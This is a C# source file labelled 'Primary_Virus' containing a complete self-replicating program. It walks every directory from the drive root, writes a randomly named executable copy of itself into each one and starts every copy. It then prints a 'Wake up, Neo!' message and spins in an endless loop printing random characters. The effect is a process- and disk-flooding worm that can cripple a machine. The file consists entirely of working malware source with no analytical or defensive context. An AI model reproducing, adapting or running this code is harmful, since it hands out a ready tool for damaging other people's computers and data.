Primary_Virus

using System;
using System.IO;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;

namespace VirusTest
{
    class Program
    {   private static byte[] this_file;
        private static Random r;

        private static char get_random_char()
        {
            string dictionary = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM<>()*&?@!#$%-_";
            int num = r.Next(0, dictionary.Length);
            return dictionary[num];
        }

        private static string name_generator()
        {
            int l = r.Next(1, 16);
            StringBuilder s = new StringBuilder();
            char t;

            for(int i = 0; i < l; i++)
            {
                t = get_random_char();
                s.Append(t);
            }

            return s.ToString();
        }

        private static string[] get_all_directoryes()
        {
            string start_directory = string.Format("{0}\\", Environment.CurrentDirectory.Trim().Split('\\')[0]);

            List<string> dirs = new List<string>(Directory.GetDirectories(start_directory));
            string[] t;

            for(int i = 0; i < dirs.Count; i++)
            {
                try
                {
                    t = Directory.GetDirectories(dirs[i]);
                    foreach(string q in t)
                    {
                        dirs.Add(q);
                    }
                }
                catch
                {
                    continue;
                }
            }

            dirs.Sort();

            return dirs.ToArray();
        }

        private static void clone_self(string path)
        {
            string name = name_generator();
            string new_file_path = string.Format("{0}\\{1}.exe", path, name);
            try
            {
                File.WriteAllBytes(new_file_path, this_file);
                Process.Start(new_file_path);
            }
            catch
            {
                return;
            }
        }

        public static void Main(string[] args)
        {
            Console.Title = "Oops!";
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write("Wake up, Neo! Matrix has you! ");

            r = new Random();
            string this_file_path =
                System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            this_file = File.ReadAllBytes(this_file_path);

            string[] directoryes = get_all_directoryes();

            foreach(string i in directoryes)
            {
                clone_self(i);
                Console.WriteLine("Wake up, Neo! Matrix has you!");
            }

            for(;;)
            {
                Console.Write("{0} ", get_random_char());
            }

            Console.ReadKey();
        }
    }
}